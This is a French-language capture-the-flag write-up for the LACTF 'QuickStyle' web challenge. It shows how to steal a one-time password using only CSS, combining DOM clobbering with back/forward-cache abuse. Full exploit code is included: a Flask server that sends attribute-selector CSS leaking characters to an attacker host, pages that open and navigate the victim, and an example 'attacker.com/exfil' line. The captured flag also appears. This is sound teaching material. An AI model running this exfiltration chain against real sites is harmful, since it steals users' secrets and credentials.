Featured image of post LACTF - QuickStyle

LACTF - QuickStyle

Write Up of the QuickStyle challenge during the LACTF

📝 Description

On se retrouve face à un challenge où il faut exfiltré un code OTP (One Time Password) uniquement avec du CSS, car malgré une injection d’HTML les CSP (Content Security Policy) nous bloquent. Le code OTP change à chaque requête et seul le bot (grâce a ses cookies) peut enregistrer un user associé au code OTP.

🔎 RECON

HTML INJECTION

A l’arrivé sur le site web du challenge je regarde les CSP :

1
Content-Security-Policy : font-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'; script-src 'self'; style-src 'unsafe-inline'

on remarque aussi qu’un script est chargé sur la page, le voici :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const params = new URLSearchParams(location.search);
const url = params.get('page');

setTimeout(async () => {
  if (!url) return;
  const message = await fetch(url).then(r => r.text());
  if (message.length > 6000000) return;
  document.querySelectorAll('.message')[0].innerHTML = message;
  document.querySelectorAll('style').forEach(s => s.remove());
}, 10);

Ok on peut observer que le script regarde si l’URL contient un param page. Si oui il fetch le contenu du param et mets la réponse dans la div avec la class .message. Juste après le script enlève toute les balises style.

Je test avec une URL que je controle et on a bien notre HTML Injection.
alt text

BYPASS LE REMOVE DES <STYLE>

Après de longues recherches le ✨DOM Clobbering✨ me permet enfin de pouvoir mettre mes balises styles ! Grâce au ✨DOM Clobbering✨ il est possible de générer des variables globales dans le contexte JS avec les attributs id et name dans les balises HTML. On peut en quelque sorte écraser la valeur précédente.

1
<form name=querySelectorAll></form>

Une image vaut mille mots :

Maintenant je peux mettre des balises style 🙂

BYPASS DU OTP QUI CHANGE

La valeur du OTP se trouve dans un input :

1
<input type="text" value="<OTP>" disabled />

Souvent pour exfiltrer des données avec du CSS on s’y prend comme ça :

1
2
3
input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}

Cette technique est bien mais dans notre cas elle ne fonctionne pas car à chaque requête la valeur du OTP change.

✨bfache✨ (Back/forward cache)

Quand on fais un retour en arrière sur un navigateur le cache est utilisé pour ne pas avoir a re fetch la page web. On va pouvoir utiliser ce cache pour bypass le changement de valeur.

Maintenant il reste plus qu’à créer un exploit.

💥 Proof of Concept

Résumons :

  1. Un serveur pour send le CSS et recevoir les valeurs.
  2. Une page HTML qui open le site avec l’injection HTML et qui l’envoie sur une page qui fera un history.go(-1).

Pour exfiltrer les données avec le CSS on crée un endpoint /test qui enregistre les caractères reçus dans un fichier.
On crée aussi un endpoint /exfil qui envoie le nouveau CSS avec les précédent caratères + chaque caractère de l’alphabet.
On oublie pas le header Cache-Control: no cache qui empéchera notre CSS d’être mis en cache.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import html
from flask import Flask, jsonify, make_response
from flask_cors import CORS
import os

app = Flask(__name__)
CORS(app, origins='*')
exfil_file ="saved_char.txt"
url = "https://raltheo.serveo.net"

@app.route('/exfil')
def exfil():
    html_content = """<form name=querySelectorAll></form>"""
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    data = str(open(exfil_file, "r").read().strip())
    for char in alphabet:
        html_content += f"<style>input[value^='{data}{char}']{{background-image: url('{url}/test/{data}{char}');}}</style>"
    
    response = make_response(html_content)
    response.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'
    response.headers['Pragma'] = 'no-cache'
    response.headers['Expires'] = '0'
    return response

@app.route('/test/<string:data>')
def save(data):
    open(exfil_file, "w").write(str(data))
    html_content = "<p>oui</p>"
    response = make_response(html_content)
    response.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'
    response.headers['Pragma'] = 'no-cache'
    response.headers['Expires'] = '0'
    return response

if __name__ == '__main__':
    app.run(debug=True, port=9000)

Voici le code permettant d’ouvrir une nouvelle fenetre qu’on pourra par la suite manipuler :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
</head>
<body>
    <script>
        let css_injection = "https://quickstyle.chall.lac.tf/?page=https://raltheo.serveo.net/exfil&user=aa";
        let victim = open(css_injection);

        for (let i = 1; i < 100; i++) {
            setTimeout(() => {
                victim.location = "https://raltheo.serveo.net/goback.html";
            }, i * 500);
        }
    </script>
</body>
</html>

Le code de la page sur laquelle on envoie le bot tous les 500ms qui fera un history.go(-1) afin d’utiliser le bfcache :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        setTimeout(() => {
            history.go(-1);
        }, 100);
    </script>
</body>
</html>

On envoi notre index.html au bot et voilà on reçoit les caractères du OTP à chaque fois que le browser fais un backward et use le cache ! lactf{masterfu3_para7737_css_exf1l7ration}

PS: apparement cette manière de solve le chall était unintended. J’ai aussi eu de la chance que le bot accepte les open (activé par default sur les bots puppeteer) et qu’il reste suffisament de temps pour que je puisse exfil les données.

La façon attendue était d’exfiltrer des trigrammes à l’aide du CSS. Plus de détails ici.

Built with Hugo
Theme Stack designed by Jimmy